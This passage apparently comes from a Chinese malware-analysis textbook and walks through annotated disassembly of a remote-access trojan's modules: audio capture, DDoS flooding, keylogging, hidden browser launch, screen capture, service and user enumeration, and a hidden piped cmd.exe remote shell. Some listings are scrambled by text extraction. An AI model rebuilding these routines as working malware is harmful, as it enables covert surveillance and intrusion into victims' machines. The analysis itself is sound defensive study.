.text:10013B6C lea edx, [esp+24h+pwfx]  
.text:10013B70 push ecx ; dwCallback
.text:10013B71 push edx ; pwfx
.text:10013B72 lea eax, [esi+18h]  
.text:10013B75 push 0FFFFFFFFh ; uDeviceID
.text:10013B77 push eax ; phwi
.text:10013B78 call edi ; waveInOpen ; 註冊音頻回調函數
.text:10013DFC push eax ; hwi
.text:10013DFD call ds:waveInStart ; 開始錄音
如代碼清單 16-7 所示,該病毒收到主控端的 DDOS 攻擊命令,會開啓一個線程循環向指定服務器發送攻擊數據包。
代碼清單16-7  DDOS攻擊代碼片段
DllDdosOpen函數實現代碼:
.text:10007F5D push 0 ; lpThreadId
.text:10007F5F push 0 ; dwCreationFlags
.text:10007F61 push 0 ; lpParameter
.text:10007F63 push offset sendto_proc ; lpStartAddress
.text:10007F68 push 0 ; dwStackSize
.text:10007F6A push 0 ; lpThreadAttributes
.text:10007F6C call edi ; CreateThread ; 創建發送DDOS攻擊數據的線程
.text:10007A51 push 0FFh ; namelen
.text:10007A56 lea eax, [ebp+name]  
.text:10007A5C push eax ; name
.text:10007A5D call ds:gethostname ; 獲取攻擊的服務器地址
 


.text:10007E49 lea ecx, [ebp+buf] 
.text:10007E4F push ecx ; buf
.text:10007E50 mov edx, [ebp+s] 
.text:10007E53 push edx ; s
.text:10007E54 call ds:sendto ; 循環發送數據到指定攻擊服務器

如代碼清單 16-8 所示,該病毒使用 GetLogicalDriveStrings 獲取當前所有驅動器根路徑的剩餘空間。

DllFile 函數實現代碼:

代碼清單 16-8  查看磁盤目錄代碼片段

.text:10009E4F push eax ; lpBuffer
.text:10009E50 mov [esp+790h+var_768], ecx
.text:10009E54 push 100h ; nBufferLength
.text:10009E59 mov [esp+794h+Src], 67h
.text:10009E61 call ds:GetLogicalDriveStringsA ; 獲取當前所有根驅動器路徑
.text:10009EAC lea ecx, [esp+798h+FileSystemNameBuffer]
.text:10009EB0 push ecx ; lpFileSystemNameBuffer
.text:10009EB1 push edx ; lpFileSystemFlags
.text:10009EB2 push edx ; lpMaximumComponentLength
.text:10009EB3 push edx ; lpVolumeSerialNumber
.text:10009EB4 push edx ; nVolumeNameSize
.text:10009EB5 push edx ; lpVolumeNameBuffer
.text:10009EB6 push ebp ; lpRootPathName
.text:10009EB7 call ds:GetVolumeInformationA ; 獲取磁盤卷信息
.text:10009F09 lea edx, [esp+794h+TotalNumberOfBytes]
.text:10009F0D push 0 ; lpTotalNumberOfFreeBytes
.text:10009F0F lea eax, [esp+798h+FreeBytesAvailableToCaller]
.text:10009F13 push edx ; lpTotalNumberOfBytes
.text:10009F14 push eax ; lpFreeBytesAvailableToCaller
.text:10009F15 push ebp ; lpDirectoryName
.text:10009F16 call ds:GetDiskFreeSpaceExA ; 獲取磁盤剩餘空間
.text:10009F55 push ebp ; lpRootPathName
.text:10009F56 mov [esp+ebx+798h+Src], cl
.text:10009F5D call ds:GetDriveTypeA ; 獲取磁盤類型

如代碼清單 16-9 所示,該病毒創建了一個線程,在線程中循環使用 GetKeyState、 GetAsyncKeyState API 循環遍歷所有鍵盤的虛擬鍵狀態,如果狀態爲按下,就將按鍵信息保存到文件中。

DllKeybo 函數實現代碼:

代碼清單 16-9  鍵盤記錄代碼片段

.text:1000B1C1 xor ebp, ebp ; 鍵盤表索引
.text:1000B1C3 push 10h ; nVirtKey
.text:1000B1C5 call ebx ; GetKeyState ; 獲取鍵盤虛擬鍵Shift的狀態
.text:1000B1C7 mov esi, ss:VK_TABLE_0[ebp] ; 循環從表中獲取虛擬鍵
.text:1000B1CD push esi ; 參數1:vKey
.text:1000B1CE movsx edi, ax
.text:1000B1D1 call ds:GetAsyncKeyState ; 循環獲取鍵盤虛擬鍵的狀態
.text:1000B1D7 test ah, 80h
.text:1000B1DA jz short loc_1000B24F
 


.text:1000B1DC push 14h ; 參數1:nVirtKey
.text:1000B1DE call ebx ; GetKeyState ; 獲取虛擬鍵VK_CAPITAL的狀態,檢查鍵盤大寫燈
.text:1000B1E0 test ax, ax 
.text:1000B1E3 jz short loc_1000B204 
.text:1000B1E5
.text:1000B204 cmp
push edi, 0FFFFFFFFh
14h 
; 參數1:nVirtKey
.text:1000B206 call ebx ; GetKeyState ; 獲取虛擬鍵VK_CAPITAL的狀態,檢查鍵盤大寫燈
.text:1000B208 test ax, ax
.text:1000B20B jz short loc_1000B22B
.text:1000B292 lea ecx, [esp+668h+keyboard_buf]
.text:1000B296 push ecx ; 參數1:記錄鍵盤數據的緩衝區
.text:1000B297 call write_keyboard_file ; 保存記錄的鍵盤按鍵數據到文件中

如代碼清單 16-10 所示,該病毒通過註冊表路徑 HKEY_CLASSES_ROOT\Applications\ iexplore.exe\shell\open\command 獲取瀏覽器的路徑,最後通過 CreateProcessA 創建瀏覽器進程,打開主控端傳遞的指定 url 地址。

代碼清單 16-10  打開網頁碼片段 

DllOpenURLHIDE 函數實現代碼:

.text:10008A4D lea eax, [esp+1B0h+phkResult] 
.text:10008A51 lea ecx, [esp+1B0h+SubKey] 
.text:10008A55 push eax ; phkResult
.text:10008A56 push 20019h ; samDesired
.text:10008A5B push 0 ; ulOptions
.text:10008A5D mov dl, 78h 
.text:10008A5F push ecx ; lpSubKey
.text:10008A60 push 80000000h ; hKey
.text:10008A65 mov [esp+1C4h+SubKey]'A' 
.text:10008A6A mov [esp+1C4h+var_18D]'l' 
.text:10008A6F mov [esp+1C4h+var_18C]'i' 
.text:10008A74 mov [esp+1C4h+var_18B]'c' 
.text:10008A79 mov [esp+1C4h+var_18A]'a' 
.text:10008A7E mov [esp+1C4h+var_189]'t' 
.text:10008A83 mov [esp+1C4h+var_188]'i' 
.text:10008A88 mov [esp+1C4h+var_186]'n' 
.text:10008A8D mov [esp+1C4h+var_185]'s' 
.text:10008A92 mov [esp+1C4h+var_184]'\' 
.text:10008A97 mov [esp+1C4h+var_183]'i' 
.text:10008A9C mov [esp+1C4h+var_182], bl 
.text:10008AA0 mov [esp+1C4h+var_181], dl 
.text:10008AA4 mov [esp+1C4h+var_17F]'l' 
.text:10008AA9 mov [esp+1C4h+var_17D]'r' 
.text:10008AAE mov [esp+1C4h+var_17C], bl 
.text:10008AB2 mov [esp+1C4h+var_17B]'.' 
.text:10008AB7 mov [esp+1C4h+var_17A], bl 
.text:10008ABB mov [esp+1C4h+var_179], dl 
.text:10008ABF mov [esp+1C4h+var_178], bl 
.text:10008AC3 mov [esp+1C4h+var_177]'\' 
.text:10008AC8 mov [esp+1C4h+var_176]'s' 
.text:10008ACD mov [esp+1C4h+var_175]'h' 
.text:10008AD2 mov [esp+1C4h+var_174], bl 
.text:10008AD6 mov [esp+1C4h+var_173]'l' 
.text:10008ADB mov [esp+1C4h+var_172]'l' 
 


.text:10008AE0 mov [esp+1C4h+var_171]'\'
.text:10008AE5 mov [esp+1C4h+var_16E], bl
.text:10008AE9 mov [esp+1C4h+var_16D]'n'
.text:10008AEE mov [esp+1C4h+var_16C]'\'
.text:10008AF3 mov [esp+1C4h+var_16B]'c'
.text:10008AF8 mov [esp+1C4h+var_167]'a'
.text:10008AFD mov [esp+1C4h+var_166]'n'
.text:10008B02 mov [esp+1C4h+var_165]'d'
.text:10008B07 mov [esp+1C4h+var_164]0
.text:10008B0C mov [esp+1C4h+cbData], 104h
.text:10008B14 call ds:RegOpenKeyExA
; 打開註冊表HKEY_CLASSES_ROOT\Applications\iexplore.exe\shell\open\command
.text:10008B1A test eax, eax
.text:10008B1C jnz loc_10008C2F
.text:10008B22 mov ecx, [esp+1B0h+phkResult]
.text:10008B26 lea edx, [esp+1B0h+cbData]
.text:10008B2A lea eax, [esp+1B0h+Data]
.text:10008B31 push edx ; lpcbData
.text:10008B32 push eax ; lpData
.text:10008B33 push 0 ; lpSubKey
.text:10008B35 push ecx ; hKey
.text:10008B36 call ds:RegQueryValueA
; 查詢註冊表HKEY_CLASSES_ROOT\Applications\iexplore.exe\shell\open\command,獲取瀏覽器路徑
.text:10008B3C mov edx, [esp+1B0h+phkResult]
.text:10008B40 push edx ; hKey
.text:10008B41 call ds:RegCloseKey ; 關閉註冊表
.text:10008B47 lea eax, [esp+1B0h+Data]
.text:10008B4E push eax ; lpString
.text:10008B4F call ds:lstrlenA ; 獲取瀏覽器路徑長度
.text:10008B55 test eax, eax
.text:10008B57 jz loc_10008C2F
.text:10008B5D lea ecx, [esp+1B0h+SubStr]
.text:10008B61 lea edx, [esp+1B0h+Data]
.text:10008B68 push ecx ; SubStr
.text:10008B69 push edx ; Str
.text:10008B6A mov [esp+1B8h+SubStr]'%'
.text:10008B6F mov [esp+1B8h+var_1A3]'1'
.text:10008B74 mov [esp+1B8h+var_1A2]0
.text:10008B79 call ds:strstr ; 獲取瀏覽器路徑%1的位置
.text:10008B7F add esp, 8
.text:10008B82 test eax, eax
.text:10008B84 jz loc_10008C2F
.text:10008B8A push esi ; lpString2
.text:10008B8B push eax ; lpString1
.text:10008B8C call ds:lstrcpyA; 將%1字符串替換爲服務器傳遞的URL地址,當作命令行參數
.text:10008B92 mov ecx, 10h
.text:10008B97 xor eax, eax
.text:10008B99 lea edi, [esp+1B0h+StartupInfo.lpReserved]
.text:10008B9D mov [esp+1B0h+var_1A0], 57h
.text:10008BA2 rep stosd
.text:10008BA4 mov eax, 44h
.text:10008BA9 mov [esp+1B0h+var_19F]'i'
.text:10008BAE mov [esp+1B0h+StartupInfo.cb], eax
.text:10008BB2 mov [esp+1B0h+var_198], al
.text:10008BB6 mov eax, [esp+1B0h+hide] ; 獲取參數隱藏窗口標誌
 


.text:10008BBD mov [esp+1B0h+var_19E]'n'
.text:10008BC2 test eax, eax ; 檢查是否隱藏創建瀏覽器進程
.text:10008BC4 mov [esp+1B0h+var_19D]'S'
.text:10008BC9 mov [esp+1B0h+var_19C]'t'
.text:10008BCE mov [esp+1B0h+var_19B]'a'
.text:10008BD3 mov [esp+1B0h+var_19A]'0'
.text:10008BD8 mov [esp+1B0h+var_199]'\'
.text:10008BDD mov [esp+1B0h+var_197], bl
.text:10008BE1 mov [esp+1B0h+var_196]'f'
.text:10008BE6 mov [esp+1B0h+var_195]'a'
.text:10008BEB mov [esp+1B0h+var_194]'u'
.text:10008BF0 mov [esp+1B0h+var_193]'l'
.text:10008BF5 mov [esp+1B0h+var_192]'t'
.text:10008BFA mov [esp+1B0h+var_191]0
.text:10008BFF jz short loc_10008C09 
.text:10008C01 lea eax, [esp+1B0h+var_1A0]
.text:10008C05 mov [esp+1B0h+StartupInfo.lpDesktop], eax ; 隱藏
.text:10008C09 lea ecx, [esp+1B0h+ProcessInformation]
.text:10008C0D lea edx, [esp+1B0h+StartupInfo]
.text:10008C11 push ecx ; lpProcessInformation
.text:10008C12 push edx ; lpStartupInfo
.text:10008C13 push 0 ; lpCurrentDirectory
.text:10008C15 push 0 ; lpEnvironment
.text:10008C17 push 0 ; dwCreationFlags
.text:10008C19 push 0 ; bInheritHandles
.text:10008C1B push 0 ; lpThreadAttributes
.text:10008C1D lea eax, [esp+1CCh+Data]
.text:10008C24 push 0 ; lpProcessAttributes
.text:10008C26 push eax ; lpCommandLine
.text:10008C27 push 0 ; lpApplicationName
.text:10008C29 call ds:CreateProcessA ; 創建瀏覽器進程
.text:10008C2F pop edi
.text:10008C30 pop esi
.text:10008C31 xor al, al
.text:10008C33 pop ebx
.text:10008C34 add esp, 1A4h
.text:10008C3A retn 

如代碼清單 16-11 所示,該病毒通過 GetDesktopWindow 獲取桌面的 HDC,再通過 CreateDIBSection 獲取桌面的像素信息。
代碼清單16-11  屏幕查看代碼片段
DllScreen函數實現代碼:
.text:1000D888 call ds:GetDesktopWindow ; 獲取桌面窗口句柄
.text:1000D88E push eax ; hWnd
.text:1000D88F
.text:1000D895 mov
call [esi+10Ch], eax
ds:GetDC 
; 獲取桌面HDC
.text:1000D89B mov [esi+44h], eax 
.text:1000D8C9 push ebx ; nIndex,SM_CXSCREEN
.text:1000D8CA mov [esi+14h], ecx 
.text:1000D8CD mov [esi+18h], dl 
.text:1000D8D0
.text:1000D8D3 mov
call [esi+24h], eax
edi ; GetSystemMetrics 
; 獲取屏幕寬度
.text:1000D8D5 push 1 ; nIndex,SM_CYSCREEN
 


.text:1000D8D7
.text:1000D8DA mov
call [esi+4], eax
edi ; GetSystemMetrics 
; 獲取屏幕高度
.text:1000D96D push ebx ; usage
.text:1000D96E push eax ; lpbmi
.text:1000D96F push ecx ; HDC
.text:1000D970 call edi ; CreateDIBSection ; 獲取桌面像素信息並截圖

服務管理代碼分析如代碼清單 16-12 所示。

代碼清單 16-12  服務管理代碼片段 DllSerMa 函數實現代碼:

.text:1000E7E3 push 0F003Fh ; dwDesiredAccess
.text:1000E7E8 push ebp ; lpDatabaseName
.text:1000E7E9 push ebp ; lpMachineName
.text:1000E7EA call ds:OpenSCManagerA ; 打開服務管理器
.text:1000E7F0 mov edi, ds:LocalAlloc
.text:1000E7F6 mov esi, eax
.text:1000E7F8 push 10000h ; uBytes
.text:1000E7FD push 40h ; uFlags
.text:1000E7FF mov [esp+338h+var_30C], esi
.text:1000E803 call edi ; LocalAlloc ; 申請內存
.text:1000E805 mov ebx, eax
.text:1000E807 lea eax, [esp+330h+ResumeHandle]
.text:1000E80B lea ecx, [esp+330h+ServicesReturned]
.text:1000E80F push eax ; lpResumeHandle
.text:1000E810 lea edx, [esp+334h+pcbBytesNeeded]
.text:1000E814 push ecx ; lpServicesReturned
.text:1000E815 push edx ; pcbBytesNeeded
.text:1000E816 push 10000h ; cbBufSize
.text:1000E81B push ebx ; lpServices
.text:1000E81C push 3 ; dwServiceState
.text:1000E81E push 30h ; dwServiceType
.text:1000E820 push esi ; hSCManager
.text:1000E821 call ds:EnumServicesStatusA ; 遍歷所有服務
.text:1000E827 push 104h ; uBytes
.text:1000E82C push 40h ; uFlags
.text:1000E82E call edi ; LocalAlloc
.text:1000E830 mov edi, eax
.text:1000E832 mov [esp+330h+uBytes]1
.text:1000E83A mov [esp+330h+hMem], edi
.text:1000E83E mov [esp+330h+var_318], ebp
.text:1000E842 mov byte ptr [edi], 6Fh
.text:1000E845 mov eax, [esp+330h+ServicesReturned]
.text:1000E849 cmp eax, ebp
.text:1000E84B jbe loc_1000EB2C
.text:1000E851 mov ebp, ds:lstrlenA
.text:1000E857 mov eax, [ebx] ; 循環開始
.text:1000E859 push 0F01FFh ; dwDesiredAccess
.text:1000E85E push eax ; lpServiceName
.text:1000E85F push esi ; hSCManager
.text:1000E860 mov [esp+33Ch+var_308]0
.text:1000E868 call ds:OpenServiceA ; 打開服務
.text:1000E86E mov edi, eax
.text:1000E870 test edi, edi
 


.text:1000E872 jz loc_1000EB0E 
.text:1000E878 push 1000h ; uBytes
.text:1000E87D push 40h ; uFlags
.text:1000E87F call ds:LocalAlloc 
.text:1000E885 lea ecx, [esp+330h+var_308] 
.text:1000E889 mov esi, eax 
.text:1000E88B push ecx ; pcbBytesNeeded
.text:1000E88C push 1000h ; cbBufSize
.text:1000E891 push esi ; lpServiceConfig
.text:1000E892 push edi ; hService
.text:1000E893 call ds:QueryServiceConfigA ; 查詢服務設置
.text:1000E899 mov eax, [ebx+0Ch] ; ServiceStatus.dwCurrentState,用於獲取服
務的當前狀態
.text:1000E89C mov ecx, 40h
.text:1000E8A1 cmp eax, 1
.text:1000E8A4 jz short loc_1000E8C0 ; 檢查服務器是否啓動狀態
.text:1000E8A6 xor eax, eax
.text:1000E8A8 lea edi, [esp+330h+String1]
.text:1000E8AF lea edx, [esp+330h+String1]
.text:1000E8B6 push offset asc_10088D50 ; "啓動"
.text:1000E8BB rep stosd
.text:1000E8BD push edx
.text:1000E8BE jmp short loc_1000E8D8 ; 拼接字符串“啓動”或者“停止”
.text:1000E8C0 xor eax, eax
.text:1000E8C2 lea edi, [esp+330h+String1]
.text:1000E8C9 rep stosd
.text:1000E8CB lea eax, [esp+330h+String1]
.text:1000E8D2 push offset asc_10088D48 ; lpString2
.text:1000E8D7 push eax ; lpString1
.text:1000E8D8 call ds:lstrcatA ; 拼接字符串“啓動”或者“停止”
.text:1000E8DE cmp dword ptr [esi+4]2
.text:1000E8E2 jnz short loc_1000E901 ; dwStartType==2, 檢查獲取服務啓
; 動類型是否自動
.text:1000E8E4 mov ecx, 40h
.text:1000E8E9 xor eax, eax
.text:1000E8EB lea edi, [esp+330h+var_300]
.text:1000E8EF push offset asc_10088D40 ; lpString2
.text:1000E8F4 rep stosd
.text:1000E8F6 lea ecx, [esp+334h+var_300]
.text:1000E8FA push ecx ; lpString1
.text:1000E8FB call ds:lstrcatA ; 拼接字符串"自動"
.text:1000E901 cmp dword ptr [esi+4]3
.text:1000E905 jnz short loc_1000E924 ;dwStartType==3, 檢查獲取服務啓
;動類型是否爲手動
.text:1000E907 mov ecx, 40h 
.text:1000E90C xor eax, eax 
.text:1000E90E lea edi, [esp+330h+var_300] 
.text:1000E912 lea edx, [esp+330h+var_300] 
.text:1000E916 push offset asc_10088D38 ; lpString2
.text:1000E91B push edx ; lpString1
.text:1000E91C
.text:1000E91E rep stosd
call ds:lstrcatA 
; 拼接字符串"手動"
.text:1000E924 cmp dword ptr [esi+4], 4 ;dwStartType==4, 檢查獲取服務啓
; 動類型是否爲禁用
.text:1000E928 jnz short loc_1000E947 
 


.text:1000E92A mov ecx, 40h
.text:1000E92F xor eax, eax
.text:1000E931 lea edi, [esp+330h+var_300]
.text:1000E935 push offset asc_10088D30 ; lpString2
.text:1000E93A rep stosd
.text:1000E93C lea eax, [esp+334h+var_300]
.text:1000E940 push eax ; lpString1
.text:1000E941 call ds:lstrcatA ; 拼接字符串"禁用"
.text:1000E947
.text:1000EB20 jb loc_1000E857 ; 循環結束
.text:1000EB26 mov edi, [esp+330h+hMem]
.text:1000EB2A xor ebp, ebp
.text:1000EB2C push esi ; hSCObject
.text:1000EB2D call ds:CloseServiceHandle ; 關閉服務管理器

如代碼清單 16-13 所示,該病毒通過 NetUserEnum 遍歷所有系統用戶信息。服務器管理代碼分析如代碼清單 16-13 所示。

代碼清單 16-13  服務器管理代碼片段 DllSerSt 函數實現代碼:

.text:100129B8 lea eax, [esp+24h+resume_handle] ; 循環開始
.text:100129BC lea ecx, [esp+24h+totalentries]  
.text:100129C0 push eax ; resume_handle
.text:100129C1 lea edx, [esp+28h+entriesread]  
.text:100129C5 push ecx ; totalentries
.text:100129C6 push edx ; entriesread
.text:100129C7 lea eax, [esp+30h+bufptr]  
.text:100129CB push 0FFFFFFFFh ; prefmaxlen
.text:100129CD push eax ; bufptr
.text:100129CE push 2 ; filter
.text:100129D0 push ebx ; level
.text:100129D1 push ebx ; servername
.text:100129D2 call NetUserEnum ; 遍歷所有系統用戶信息
.text:100129D7 cmp eax, ebx  
.text:100129D9 mov [esp+24h+NET_API_STATUS], eax
.text:100129DD jz short loc_100129E6
.text:100129DF cmp eax, 234 ; ERROR_MORE_DATA
.text:100129E4 jnz short loc_10012A29 ; 檢查
.text:10012A06 push 50h ; MaxCount
.text:10012A08 push ecx ; Source
.text:10012A09 push eax ; Dest
.text:10012A0A inc ebp  
.text:10012A0B
.text:10012A0E add
call esi, 32h
ds:wcstombs 
; 
寬字符字符串轉換爲多字節字符串
.text:10012A41 cmp eax, 234 ; ERROR_MORE_DATA
.text:10012A46 jz loc_100129B8 ; 循環開始
.text:10012A4C cmp edi, ebx ; 循環結束
.text:10012A4E jz short loc_10012A56  
.text:10012A50 push edi ; Buffer
.text:10012A51 call NetApiBufferFree ; 釋放緩衝區
如代碼清單 16-14 所示,該病毒通過使用管道通信實現遠程 CMD 並且隱藏 cmd.exe 進程的窗口。

DllShell 函數實現代碼:

代碼清單 16-14  遠程 CMD 命令代碼片段

.text:10010CFD lea ecx, [esp+188h+att]
.text:10010D01 lea ebx, [ebp+120h]
.text:10010D07 push edx ; nSize
.text:10010D08 lea edi, [ebp+114h]
.text:10010D0E lea esi, [ebp+11Ch]
.text:10010D14 push ecx ; lpPipeAttributes
.text:10010D15 push ebx ; hWritePipe
.text:10010D16 push edi ; hReadPipe
.text:10010D49 call ds:CreatePipe ; 創建標準輸出管道
.text:10010D74 lea edx, [esp+188h+att]
.text:10010D78 push 0 ; nSize
.text:10010D7A lea edi, [ebp+118h]
.text:10010D80 push edx ; lpPipeAttributes
.text:10010D81 push edi ; hWritePipe
.text:10010D82 push esi ; hReadPipe
.text:10010D83 call ds:CreatePipe ; 創建標準輸入管道
.text:10010DDA mov [esp+188h+StartupInfo.hStdError], eax
.text:10010DDE mov [esp+188h+StartupInfo.hStdOutput], eax ; 設置標準輸出管道
.text:10010DE2 lea eax, [esp+188h+Buffer]
.text:10010DE6 push 104h ; uSize
.text:10010DEB push eax ; lpBuffer
.text:10010DEC mov [esp+190h+StartupInfo.cb], 44h
.text:10010DF4 mov [esp+190h+StartupInfo.wShowWindow], 0; SW_HIDE,隱藏CMD窗口
.text:10010DFB mov [esp+190h+StartupInfo.dwFlags], 101h
.text:10010E03 mov [esp+190h+StartupInfo.hStdInput], edx ; 設置標準輸入管道
.text:10010E07 call ds:GetSystemDirectoryA ; 獲取系統目錄
.text:10010E0D mov edi, offset aCmdExe ; 拼接CMD的路徑:"\\cmd.exe"
.text:10010E40 lea ecx, [esp+18Ch+StartupInfo]
.text:10010E44 lea edx, [esp+18Ch+Buffer]
.text:10010E48 push ecx ; lpStartupInfo
.text:10010E49 push 0 ; lpCurrentDirectory
.text:10010E4B push 0 ; lpEnvironment
.text:10010E4D push 20h ; dwCreationFlags
.text:10010E4F push 1 ; bInheritHandles
.text:10010E51 push 0 ; lpThreadAttributes
.text:10010E53 push 0 ; lpProcessAttributes
.text:10010E55 push 0 ; lpCommandLine
.text:10010E57 push edx ; lpApplicationName
.text:10010E58 call ds:CreateProcessA ; 創建cmd.exe進程

.text:1001109A mov eax, [esp+418h+BytesRead]; 循環開始
.text:1001109E test eax, eax
.text:100110A0 jbe short loc_1001106F
.text:100110A2 mov ecx, 100h
.text:100110A7 xor eax, eax
.text:100110A9 lea edi, [esp+418h+Buffer]
.text:100110AD rep stosd
.text:100110AF mov ecx, [esp+418h+TotalBytesAvail]
.text:100110B3 push ecx ; uBytes
.text:100110B4 push 40h ; uFlags
.text:100110B6 call ds:LocalAlloc ; 申請空間
.text:100110BC mov ecx, [ebx+114h]
.text:100110C2 mov esi, eax
 


.text:100110C4 mov eax, [esp+418h+TotalBytesAvail]
.text:100110C8 lea edx, [esp+418h+BytesRead]
.text:100110CC push 0 ; lpOverlapped
.text:100110CE push edx ; lpNumberOfBytesRead
.text:100110CF push eax ; nNumberOfBytesToRead
.text:100110D0 push esi ; lpBuffer
.text:100110D1 push ecx ; hFile
.text:100110D2 call ds:ReadFile ; 讀取管道數據,獲取CMD命令執行結果
.text:100110D8 mov ecx, ebx
.text:100110DA mov edx, [esp+418h+BytesRead]
.text:100110DE push edx ; Size
.text:100110DF push esi ; Src
.text:100110E0 call send_data ; 發送數據
.text:100110E5 push esi ; hMem
.text:100110E6 call ds:LocalFree ; 釋放空間
.text:100110EC lea eax, [esp+418h+TotalBytesAvail]
.text:100110F0 push 0 ; lpBytesLeftThisMessage
.text:100110F2 lea ecx, [esp+41Ch+BytesRead]
.text:100110F6 push eax ; lpTotalBytesAvail
.text:100110F7 mov eax, [ebx+114h]
.text:100110FD push ecx ; lpBytesRead
.text:100110FE lea edx, [esp+424h+Buffer]
.text:10011102 push 400h ; nBufferSize
.text:10011107 push edx ; lpBuffer
.text:10011108 push eax ; hNamedPipe
.text:10011109 call ebp ; PeekNamedPipe ; 檢測管道數據
.text:1001110B test eax, eax
.text:1001110D jnz short loc_1001109A ; 跳轉到循環開始
.text:1001110F jmp loc_1001106F ; 循環結束

如代碼清單 16-15 所示,該病毒通過進程快照檢測是否存在一個指定的進程。

代碼清單 16-15  檢查進程代碼片段 DllSortProcessl 函數實現代碼:

.text:10008C40 sub esp, 128h
.text:10008C46 push ebx
.text:10008C47 push ebp
.text:10008C48 push esi ; unsigned  int8 *
.text:10008C49 push edi
.text:10008C4A push 0 ; th32ProcessID
.text:10008C4C push 2 ; dwFlags
.text:10008C4E call CreateToolhelp32Snapshot ; 創建進程快照
.text:10008CA7 pop edi
.text:10008CA8 pop esi
.text:10008CA9 pop ebp
.text:10008CAA mov eax, 1 ; 設置返回值爲TRUE
.text:10008CAF pop ebx
.text:10008CB0 add esp, 128h
.text:10008CB6
.text:10008CD2 retn
lea 
eax, [esp+138h+pe.szExeFile] ; 循環開始
.text:10008CD6 push eax ; unsigned  int8 *
.text:10008CD7 call edi ; mbslwr進程名稱轉換小寫
.text:10008CD9 push esi ; unsigned  int8 *
.text:10008CDA call edi ; mbslwr目標進程名稱轉換小寫
.text:10008CDC lea ecx, [esp+140h+pe.szExeFile]
 


.text:10008CE0 push esi ; SubStr
.text:10008CE1 push ecx ; Str
.text:10008CE2 call ebx ; strstr檢查目標進程名稱是否存在
.text:10008CE4 add esp, 10h  
.text:10008CE7
.text:10008CE9 test
jnz eax, eax
short loc_10008CA7 
; 
檢查是否爲目標進程
.text:10008CEB lea edx, [esp+138h+pe]  
.text:10008CEF push edx ; lppe
.text:10008CF0 push ebp ; hSnapshot
.text:10008CF1 call Process32Next ; 遍歷下一個進程
.text:10008CF6
.text:10008CF8 test
jnz eax, eax
short loc_10008CD2 
; 
循環開始
.text:10008CFA push ebp ; 循環結束
.text:10008CFB call ds:CloseHandle ; 關閉快照
.text:10008D01 pop edi  
.text:10008D02 pop esi  
.text:10008D03
.text:10008D04 pop
xor ebp
eax, eax 
; 
設置返回值爲FALSE
.text:10008D06 pop ebx  
.text:10008D07 add esp, 128h  
.text:10008D0D retn

如代碼清單 16-16 所示,該病毒通過 EnumWindows 遍歷所有窗口,檢查指定的窗口是否存在。

代碼清單 16-16  檢查窗口代碼片段 DllSortWindow 函數實現代碼:

.text:100097A0 push esi 
.text:100097A1 push edi 
.text:100097A2 mov edi, [esp+8+arg_1C] 
.text:100097A6 or ecx, 0FFFFFFFFh 
.text:100097A9 xor eax, eax 
.text:100097AB push 0 ; lParam
.text:100097AD repne scasb ; 複製參數,窗口名稱
.text:100097AF not ecx 
.text:100097B1
.text:100097B3 sub
push edi, ecx
offset EnumFunc 
; lpEnumFunc,窗口回調函數
.text:100097B8 mov eax, ecx 
.text:100097BA mov esi, edi 
.text:100097BC mov edi, offset g_wnd_name
.text:100097C1 shr ecx, 2
.text:100097C4 rep movsd
.text:100097C6 mov ecx, eax
.text:100097C8 and ecx, 3
.text:100097CB rep movsb ; 複製主控端傳遞的窗口名稱到g_wnd_name
.text:100097CD call ds:EnumWindows ; 遍歷窗口
.text:100097D3 mov ecx, g_wnd_flag
.text:100097D9 xor eax, eax
.text:100097DB test ecx, ecx
.text:100097DD pop edi
.text:100097DE pop esi
.text:100097DF setnz al ; 通過g_wnd_flag返回指定窗口是否存在
.text:100097E2 retn 
 


EnumFunc函數實現代碼:
.text:10008D10 sub esp, 100h 
.text:10008D16 push esi 
.text:10008D17 push edi 
.text:10008D18 push offset LibFileName ; "user32.dll"
.text:10008D1D call ds:LoadLibraryA ; 動態加載user32.dll
.text:10008D23 mov esi, eax 
.text:10008D25 push offset ProcName ; "GetWindowTextA"
.text:10008D2A push esi ; hModule
.text:10008D2B call ds:GetProcAddress ; 獲取GetWindowTextA函數地址
.text:10008D31 mov edx, eax 
.text:10008D33 mov ecx, 3Fh 
.text:10008D38 xor eax, eax 
.text:10008D3A lea edi, [esp+108h+var_FF]
.text:10008D3E mov [esp+108h+wnd_name]0
.text:10008D43 push 254 ; 參數3:緩衝區大小
.text:10008D48 rep stosd
.text:10008D4A mov ecx, [esp+10Ch+arg_0]
.text:10008D51 stosb 
.text:10008D52 lea eax, [esp+10Ch+wnd_name]
.text:10008D56 push eax ; 參數2:緩衝區地址
.text:10008D57 push ecx ; 參數1:窗口句柄
.text:10008D58 call edx ; 調用GetWindowTextA,獲取窗口名稱
.text:10008D5A lea edx, [esp+108h+wnd_name]
.text:10008D5E push offset g_wnd_name ; unsigned  int8 *
.text:10008D63 push edx ; unsigned  int8 *
.text:10008D64 call ds:_mbsstr
.text:10008D6A add esp, 8
.text:10008D6D test eax, eax
.text:10008D6F jz short loc_10008D7B ; 檢查窗口名稱是否存在
.text:10008D71 mov g_wnd_flag, 1 ; 設置是否存在標誌
.text:10008D7B test esi, esi
.text:10008D7D jz short loc_10008D86
.text:10008D7F push esi ; hLibModule
.text:10008D80 call ds:FreeLibrary ; 釋放動態庫
.text:10008D86 pop edi
.text:10008D87 mov eax, 1
.text:10008D8C pop esi
.text:10008D8D add esp, 100h
.text:10008D93 retn 8

如代碼清單 16-17 所示,該病毒通過進程快照遍歷進程,通過 EnumProcessModules 函數獲取進程的所有模塊信息。

代碼清單 16-17  進程、窗口管理代碼片段 DllSyste 函數實現代碼:

.text:10011602 push 1 ; int
.text:10011604 push offset Name ; "SeDebugPrivilege"
.text:10011609 mov [esp+24Ch+hModule], esi 
.text:1001160D
.text:1001160E stosb
call 
adjust_token 
; 調用函數調整令牌權限
.text:10011613 add esp, 8 
.text:10011616 push esi ; th32ProcessID
.text:10011617 push 2 ; dwFlags
 


.text:10011619 call CreateToolhelp32Snapshot ; 創建進程快照
.text:10011669 mov ecx, [esp+24Ch+pe.th32ProcessID] ; 循環開始
.text:1001166D push ecx ; dwProcessId
.text:1001166E push 0 ; bInheritHandle
.text:10011670 push 410h ; dwDesiredAccess
.text:10011675 call ds:OpenProcess ; 打開進程
.text:1001167B mov esi, eax  
.text:1001167D mov eax, [esp+24Ch+pe.th32ProcessID]  
.text:10011681 test eax, eax  
.text:10011683 mov [esp+24Ch+var_238], esi  
.text:10011687
.text:1001168D jz
cmp loc_10011774
eax, 4 
; 
忽略pid爲4的進程
.text:10011690
.text:10011696 jz
cmp loc_10011774
eax, 8 
; 
忽略pid爲8的進程
